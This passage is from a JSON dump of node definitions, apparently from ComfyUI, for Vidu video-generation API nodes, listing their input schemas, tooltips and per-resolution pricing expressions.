false}, "Vidu2ReferenceVideoNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["viduq2"]}], "subjects": ["COMFY_AUTOGROW_V3", {"tooltip": "For each subject, provide up to 3 reference images (7 images total across all subjects). Reference them in prompts via @subject{subject_id}.", "template": {"input": {"required": {"reference_images": ["IMAGE", {}]}}, "names": ["subject1", "subject2", "subject3", "subject4", "subject5", "subject6", "subject7"], "min": 1}}], "prompt": ["STRING", {"tooltip": "When enabled, the video will include generated speech and background music based on the prompt.", "multiline": true}], "audio": ["BOOLEAN", {"tooltip": "When enabled video will contain generated speech and background music based on the prompt.", "advanced": true, "default": false}], "duration": ["INT", {"default": 5, "min": 1, "max": 10, "step": 1, "display": "slider"}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "9:16", "4:3", "3:4", "1:1"]}], "resolution": ["COMBO", {"advanced": true, "multiselect": false, "options": ["720p", "1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame.", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "subjects", "prompt", "audio", "duration", "seed", "aspect_ratio", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu2ReferenceVideoNode", "display_name": "Vidu2 Reference-to-Video Generation", "description": "Generate a video from multiple reference images and a prompt.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "audio", "type": "BOOLEAN"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $is1080 := widgets.resolution = \"1080p\";\n $base := $is1080 ? 0.375 : 0.125;\n $perSec := $is1080 ? 0.05 : 0.025;\n $audioCost := widgets.audio = true ? 0.075 : 0;\n {\"type\":\"usd\",\"usd\": $base + $perSec * (widgets.duration - 1) + $audioCost}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu2StartEndToVideoNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["viduq2-pro-fast", "viduq2-pro", "viduq2-turbo"]}], "first_frame": ["IMAGE", {}], "end_frame": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt description (max 2000 characters).", "multiline": true}], "duration": ["INT", {"default": 5, "min": 2, "max": 8, "step": 1, "display": "slider"}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "resolution": ["COMBO", {"advanced": true, "multiselect": false, "options": ["720p", "1080p"]}], "movement_amplitude": ["COMBO", {"tooltip": "The movement amplitude of objects in the frame.", "advanced": true, "multiselect": false, "options": ["auto", "small", "medium", "large"]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "first_frame", "end_frame", "prompt", "duration", "seed", "resolution", "movement_amplitude"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu2StartEndToVideoNode", "display_name": "Vidu2 Start/End Frame-to-Video Generation", "description": "Generate a video from a start frame, an end frame, and a prompt.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "duration", "type": "INT"}, {"name": "resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $d := widgets.duration;\n $is1080 := widgets.resolution = \"1080p\";\n $contains($m, \"pro-fast\")\n ? (\n $base := $is1080 ? 0.08 : 0.04;\n $perSec := $is1080 ? 0.02 : 0.01;\n {\"type\":\"usd\",\"usd\": $base + $perSec * ($d - 1)}\n )\n : $contains($m, \"pro\")\n ? (\n $base := $is1080 ? 0.275 : 0.075;\n $perSec := $is1080 ? 0.075 : 0.05;\n {\"type\":\"usd\",\"usd\": $base + $perSec * ($d - 1)}\n )\n : $contains($m, \"turbo\")\n ? (\n $is1080\n ? {\"type\":\"usd\",\"usd\": 0.175 + 0.05 * ($d - 1)}\n : (\n $d <= 2 ? {\"type\":\"usd\",\"usd\": 0.05}\n : {\"type\":\"usd\",\"usd\": 0.05 + 0.05 * ($d - 2)}\n )\n )\n : {\"type\":\"usd\",\"usd\": 0.04}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ViduExtendVideoNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for video extension.", "options": [{"key": "viduq2-pro", "inputs": {"required": {"duration": ["INT", {"tooltip": "Duration of the extended video in seconds.", "default": 4, "min": 1, "max": 7, "step": 1, "display": "slider"}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}]}}}, {"key": "viduq2-turbo", "inputs": {"required": {"duration": ["INT", {"tooltip": "Duration of the extended video in seconds.", "default": 4, "min": 1, "max": 7, "step": 1, "display": "slider"}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}]}}}]}], "video": ["VIDEO", {"tooltip": "The source video to extend."}], "prompt": ["STRING", {"tooltip": "An optional text prompt for the extended video (max 2000 characters).", "default": "", "multiline": true}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "optional": {"end_frame": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "video", "prompt", "seed"], "optional": ["end_frame"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ViduExtendVideoNode", "display_name": "Vidu Video Extension", "description": "Extend an existing video by generating additional frames.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.duration", "type": "INT"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $d := $lookup(widgets, \"model.duration\");\n $res := $lookup(widgets, \"model.resolution\");\n $contains($m, \"pro\")\n ? (\n $base := $lookup({\"720p\": 0.15, \"1080p\": 0.3}, $res);\n $perSec := $lookup({\"720p\": 0.05, \"1080p\": 0.075}, $res);\n {\"type\":\"usd\",\"usd\": $base + $perSec * ($d - 1)}\n )\n : (\n $base := $lookup({\"720p\": 0.075, \"1080p\": 0.2}, $res);\n $perSec := $lookup({\"720p\": 0.025, \"1080p\": 0.05}, $res);\n {\"type\":\"usd\",\"usd\": $base + $perSec * ($d - 1)}\n )\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ViduMultiFrameVideoNode": {"input": {"required": {"model": ["COMBO", {"multiselect": false, "options": ["viduq2-pro", "viduq2-turbo"]}], "start_image": ["IMAGE", {"tooltip": "The starting frame image. Aspect ratio must be between 1:4 and 4:1."}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}], "resolution": ["COMBO", {"multiselect": false, "options": ["720p", "1080p"]}], "frames": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Number of keyframe transitions (2-9).", "options": [{"key": "2", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "3", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "4", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt4": ["STRING", {"tooltip": "Text prompt for frame 4 transition.", "default": "", "multiline": true}], "end_image4": ["IMAGE", {"tooltip": "End frame image for segment 4. Aspect ratio must be between 1:4 and 4:1."}], "duration4": ["INT", {"tooltip": "Duration for segment 4 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "5", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt4": ["STRING", {"tooltip": "Text prompt for frame 4 transition.", "default": "", "multiline": true}], "end_image4": ["IMAGE", {"tooltip": "End frame image for segment 4. Aspect ratio must be between 1:4 and 4:1."}], "duration4": ["INT", {"tooltip": "Duration for segment 4 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt5": ["STRING", {"tooltip": "Text prompt for frame 5 transition.", "default": "", "multiline": true}], "end_image5": ["IMAGE", {"tooltip": "End frame image for segment 5. Aspect ratio must be between 1:4 and 4:1."}], "duration5": ["INT", {"tooltip": "Duration for segment 5 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "6", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt4": ["STRING", {"tooltip": "Text prompt for frame 4 transition.", "default": "", "multiline": true}], "end_image4": ["IMAGE", {"tooltip": "End frame image for segment 4. Aspect ratio must be between 1:4 and 4:1."}], "duration4": ["INT", {"tooltip": "Duration for segment 4 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt5": ["STRING", {"tooltip": "Text prompt for frame 5 transition.", "default": "", "multiline": true}], "end_image5": ["IMAGE", {"tooltip": "End frame image for segment 5. Aspect ratio must be between 1:4 and 4:1."}], "duration5": ["INT", {"tooltip": "Duration for segment 5 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt6": ["STRING", {"tooltip": "Text prompt for frame 6 transition.", "default": "", "multiline": true}], "end_image6": ["IMAGE", {"tooltip": "End frame image for segment 6. Aspect ratio must be between 1:4 and 4:1."}], "duration6": ["INT", {"tooltip": "Duration for segment 6 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "7", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt4": ["STRING", {"tooltip": "Text prompt for frame 4 transition.", "default": "", "multiline": true}], "end_image4": ["IMAGE", {"tooltip": "End frame image for segment 4. Aspect ratio must be between 1:4 and 4:1."}], "duration4": ["INT", {"tooltip": "Duration for segment 4 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt5": ["STRING", {"tooltip": "Text prompt for frame 5 transition.", "default": "", "multiline": true}], "end_image5": ["IMAGE", {"tooltip": "End frame image for segment 5. Aspect ratio must be between 1:4 and 4:1."}], "duration5": ["INT", {"tooltip": "Duration for segment 5 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt6": ["STRING", {"tooltip": "Text prompt for frame 6 transition.", "default": "", "multiline": true}], "end_image6": ["IMAGE", {"tooltip": "End frame image for segment 6. Aspect ratio must be between 1:4 and 4:1."}], "duration6": ["INT", {"tooltip": "Duration for segment 6 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt7": ["STRING", {"tooltip": "Text prompt for frame 7 transition.", "default": "", "multiline": true}], "end_image7": ["IMAGE", {"tooltip": "End frame image for segment 7. Aspect ratio must be between 1:4 and 4:1."}], "duration7": ["INT", {"tooltip": "Duration for segment 7 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "8", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt4": ["STRING", {"tooltip": "Text prompt for frame 4 transition.", "default": "", "multiline": true}], "end_image4": ["IMAGE", {"tooltip": "End frame image for segment 4. Aspect ratio must be between 1:4 and 4:1."}], "duration4": ["INT", {"tooltip": "Duration for segment 4 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt5": ["STRING", {"tooltip": "Text prompt for frame 5 transition.", "default": "", "multiline": true}], "end_image5": ["IMAGE", {"tooltip": "End frame image for segment 5. Aspect ratio must be between 1:4 and 4:1."}], "duration5": ["INT", {"tooltip": "Duration for segment 5 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt6": ["STRING", {"tooltip": "Text prompt for frame 6 transition.", "default": "", "multiline": true}], "end_image6": ["IMAGE", {"tooltip": "End frame image for segment 6. Aspect ratio must be between 1:4 and 4:1."}], "duration6": ["INT", {"tooltip": "Duration for segment 6 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt7": ["STRING", {"tooltip": "Text prompt for frame 7 transition.", "default": "", "multiline": true}], "end_image7": ["IMAGE", {"tooltip": "End frame image for segment 7. Aspect ratio must be between 1:4 and 4:1."}], "duration7": ["INT", {"tooltip": "Duration for segment 7 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt8": ["STRING", {"tooltip": "Text prompt for frame 8 transition.", "default": "", "multiline": true}], "end_image8": ["IMAGE", {"tooltip": "End frame image for segment 8. Aspect ratio must be between 1:4 and 4:1."}], "duration8": ["INT", {"tooltip": "Duration for segment 8 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}, {"key": "9", "inputs": {"required": {"prompt1": ["STRING", {"tooltip": "Text prompt for frame 1 transition.", "default": "", "multiline": true}], "end_image1": ["IMAGE", {"tooltip": "End frame image for segment 1. Aspect ratio must be between 1:4 and 4:1."}], "duration1": ["INT", {"tooltip": "Duration for segment 1 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt2": ["STRING", {"tooltip": "Text prompt for frame 2 transition.", "default": "", "multiline": true}], "end_image2": ["IMAGE", {"tooltip": "End frame image for segment 2. Aspect ratio must be between 1:4 and 4:1."}], "duration2": ["INT", {"tooltip": "Duration for segment 2 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt3": ["STRING", {"tooltip": "Text prompt for frame 3 transition.", "default": "", "multiline": true}], "end_image3": ["IMAGE", {"tooltip": "End frame image for segment 3. Aspect ratio must be between 1:4 and 4:1."}], "duration3": ["INT", {"tooltip": "Duration for segment 3 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt4": ["STRING", {"tooltip": "Text prompt for frame 4 transition.", "default": "", "multiline": true}], "end_image4": ["IMAGE", {"tooltip": "End frame image for segment 4. Aspect ratio must be between 1:4 and 4:1."}], "duration4": ["INT", {"tooltip": "Duration for segment 4 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt5": ["STRING", {"tooltip": "Text prompt for frame 5 transition.", "default": "", "multiline": true}], "end_image5": ["IMAGE", {"tooltip": "End frame image for segment 5. Aspect ratio must be between 1:4 and 4:1."}], "duration5": ["INT", {"tooltip": "Duration for segment 5 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt6": ["STRING", {"tooltip": "Text prompt for frame 6 transition.", "default": "", "multiline": true}], "end_image6": ["IMAGE", {"tooltip": "End frame image for segment 6. Aspect ratio must be between 1:4 and 4:1."}], "duration6": ["INT", {"tooltip": "Duration for segment 6 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt7": ["STRING", {"tooltip": "Text prompt for frame 7 transition.", "default": "", "multiline": true}], "end_image7": ["IMAGE", {"tooltip": "End frame image for segment 7. Aspect ratio must be between 1:4 and 4:1."}], "duration7": ["INT", {"tooltip": "Duration for segment 7 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt8": ["STRING", {"tooltip": "Text prompt for frame 8 transition.", "default": "", "multiline": true}], "end_image8": ["IMAGE", {"tooltip": "End frame image for segment 8. Aspect ratio must be between 1:4 and 4:1."}], "duration8": ["INT", {"tooltip": "Duration for segment 8 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}], "prompt9": ["STRING", {"tooltip": "Text prompt for frame 9 transition.", "default": "", "multiline": true}], "end_image9": ["IMAGE", {"tooltip": "End frame image for segment 9. Aspect ratio must be between 1:4 and 4:1."}], "duration9": ["INT", {"tooltip": "Duration for segment 9 in seconds.", "default": 4, "min": 2, "max": 7, "step": 1, "display": "slider"}]}}}]}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "start_image", "seed", "resolution", "frames"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "ViduMultiFrameVideoNode", "display_name": "Vidu Multi-Frame Video Generation", "description": "Generate a video with multiple keyframe transitions.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMBO"}, {"name": "resolution", "type": "COMBO"}, {"name": "frames", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "frames.duration1", "type": "INT"}, {"name": "frames.duration2", "type": "INT"}, {"name": "frames.duration3", "type": "INT"}, {"name": "frames.duration4", "type": "INT"}, {"name": "frames.duration5", "type": "INT"}, {"name": "frames.duration6", "type": "INT"}, {"name": "frames.duration7", "type": "INT"}, {"name": "frames.duration8", "type": "INT"}, {"name": "frames.duration9", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $m := widgets.model;\n $n := $number(widgets.frames);\n $is1080 := widgets.resolution = \"1080p\";\n $d1 := $lookup(widgets, \"frames.duration1\");\n $d2 := $lookup(widgets, \"frames.duration2\");\n $d3 := $n >= 3 ? $lookup(widgets, \"frames.duration3\") : 0;\n $d4 := $n >= 4 ? $lookup(widgets, \"frames.duration4\") : 0;\n $d5 := $n >= 5 ? $lookup(widgets, \"frames.duration5\") : 0;\n $d6 := $n >= 6 ? $lookup(widgets, \"frames.duration6\") : 0;\n $d7 := $n >= 7 ? $lookup(widgets, \"frames.duration7\") : 0;\n $d8 := $n >= 8 ? $lookup(widgets, \"frames.duration8\") : 0;\n $d9 := $n >= 9 ? $lookup(widgets, \"frames.duration9\") : 0;\n $totalDuration := $d1 + $d2 + $d3 + $d4 + $d5 + $d6 + $d7 + $d8 + $d9;\n $contains($m, \"pro\")\n ? (\n $base := $is1080 ? 0.3 : 0.15;\n $perSec := $is1080 ? 0.075 : 0.05;\n {\"type\":\"usd\",\"usd\": $n * $base + $perSec * $totalDuration}\n )\n : (\n $base := $is1080 ? 0.2 : 0.075;\n $perSec := $is1080 ? 0.05 : 0.025;\n {\"type\":\"usd\",\"usd\": $n * $base + $perSec * $totalDuration}\n )\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu3TextToVideoNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for video generation.", "options": [{"key": "viduq3-pro", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["16:9", "9:16", "3:4", "4:3", "1:1"]}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds.", "default": 5, "min": 1, "max": 16, "step": 1, "display": "slider"}], "audio": ["BOOLEAN", {"tooltip": "When enabled, outputs video with sound (including dialogue and sound effects).", "default": false}]}}}, {"key": "viduq3-turbo", "inputs": {"required": {"aspect_ratio": ["COMBO", {"tooltip": "The aspect ratio of the output video.", "multiselect": false, "options": ["16:9", "9:16", "3:4", "4:3", "1:1"]}], "resolution": ["COMBO", {"tooltip": "Resolution of the output video.", "multiselect": false, "options": ["720p", "1080p"]}], "duration": ["INT", {"tooltip": "Duration of the output video in seconds.", "default": 5, "min": 1, "max": 16, "step": 1, "display": "slider"}], "audio": ["BOOLEAN", {"tooltip": "When enabled, outputs video with sound (including dialogue and sound effects).", "default": false}]}}}]}], "prompt": ["STRING", {"tooltip": "A textual description for video generation, with a maximum length of 2000 characters.", "multiline": true}], "seed": ["INT", {"default": 1, "min": 0, "max": 2147483647, "step": 1, "control_after_generate": true, "display": "number"}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["model", "prompt", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Vidu3TextToVideoNode", "display_name": "Vidu Q3 Text-to-Video Generation", "description": "Generate video from a text prompt.", "python_module": "comfy_api_nodes.nodes_vidu", "category": "partner/video/Vidu", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}, {"name": "model.duration", "type": "INT"}, {"name": "model.resolution", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $res := $lookup(widgets, \"model.resolution\");\n $d := $lookup(widgets, \"model.duration\");\n $contains(widgets.model, \"turbo\")\n ? (\n $rate := $lookup({\"720p\": 0.06, \"1080p\": 0.08}, $res);\n {\"type\":\"usd\",\"usd\": $rate * $d}\n )\n : (\n $rate := $lookup({\"720p\": 0.15, \"1080p\": 0.16}, $res);\n {\"type\":\"usd\",\"usd\": $rate * $d}\n )\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Vidu3ImageToVideoNode": {"input": {"required": {"model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for video generation.", "options": [{"key": "viduq3-pro", 